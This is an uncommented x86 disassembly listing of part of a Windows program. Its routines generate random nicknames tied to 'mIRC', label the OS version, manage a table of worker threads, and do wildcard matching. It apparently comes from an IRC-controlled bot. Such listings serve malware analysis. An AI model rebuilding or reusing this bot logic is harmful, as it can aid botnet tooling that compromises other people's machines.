sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 268054Ch
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431258
		push	eax
		push	esi
		call	near ptr 26B0000h
		nop
		movsx	eax, byte_431258
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx

loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx

loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx

loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65

loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B468
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F

loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 268054Ch
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26C0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43125C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA

loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B468
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4

loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D128
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26C0596h
		nop
		call	near ptr 268054Ch
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_431284

loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431280
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_43127C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431278
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_431274
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431270
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43126C
		jz	short loc_40AFA0

loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431268

loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431260
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4

loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B468
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE

loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 268054Ch
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431290
		jnz	short loc_40B022
		mov	eax, offset dword_43D128

loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431288
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------

loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431290
		jnz	short loc_40B04D
		mov	eax, offset dword_43D128

loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h

loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D594

loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------

loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D60C
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------

loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D598[eax*4]
		pop	ecx

loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCB0

loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACB0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------

loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCB0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEB0[esi], eax
		and	dword_43DEB4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEB8[esi], 0
		mov	dword_43DEBC[esi], eax
		and	byte_43DEC8[esi], 0
		pop	esi

loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 0E8006A14h, 22C4E50h, 555E5F90h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431390h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C19868FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0B0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEC4[esi]
		lea	edi, dword_43DEC4[esi]
		nop
		call	near ptr 268063Ch
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp

loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEB8[esi]
		mov	dword_43DEB0[esi], ebx
		mov	dword_43DEB4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx

loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEBC[esi]
		mov	byte ptr dword_43DCB0[esi], bl
		mov	byte_43DEC8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB00C
		lea	esi, dword_43DEC0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB00C
		mov	[esi], ebx
		pop	edi

loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCB0

loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx

loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACB0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEB4

loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327

loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]

loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEB4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEB0

loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax

loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEB0

loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx

loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------

loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEC4[eax], ecx
		mov	dword_43DEB0[eax], ecx
		mov	dword_43DEB4[eax], ecx
		mov	dword_43DEB8[eax], ecx
		mov	dword_43DEBC[eax], ecx
		mov	dword_43DEC0[eax], ecx
		mov	byte ptr dword_43DCB0[eax], cl
		mov	byte_43DEC8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------

loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------

loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------

loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax

loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi

loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562

loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------

loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi

loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------

loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1

loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax

loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------

loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------

loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F

loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------

loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------

loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3

loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1

loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]

loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317AC
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431410, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431418

loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_4317A0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch

loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi

loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


